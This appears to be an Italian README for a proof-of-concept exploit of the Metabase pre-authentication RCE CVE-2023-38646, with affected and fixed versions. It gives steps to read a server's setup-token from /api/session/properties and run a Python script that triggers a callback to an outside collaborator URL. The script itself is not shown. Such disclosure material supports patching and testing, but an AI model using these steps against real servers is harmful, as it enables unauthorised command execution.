CVE-2023-38646 - Metabase RCE pre-autenticazione

Metabase open source precedente alla 0.46.6.1 e Metabase Enterprise precedente alla 1.46.6.1 consentono agli attaccanti di eseguire comandi arbitrari sul server, al livello di privilegio del server. L'autenticazione non è richiesta per lo sfruttamento. Le altre versioni corrette sono 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 e 1.43.7.2.

Passaggi del PoC

1. Naviga su http://vulnerablehost.com/api/session/properties

2. Individua "setup-token"

3. Ottieni un URL del collaborator (testato con BurpSuite)

4. Esegui lo script del PoC con:

• -u - URL del target
• -t - Token di setup
• -c - URL del collaborator
• python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>

5. Controlla il tuo collaborator per eventuali callback

Riferimenti

• https://www.metabase.com/blog/security-advisory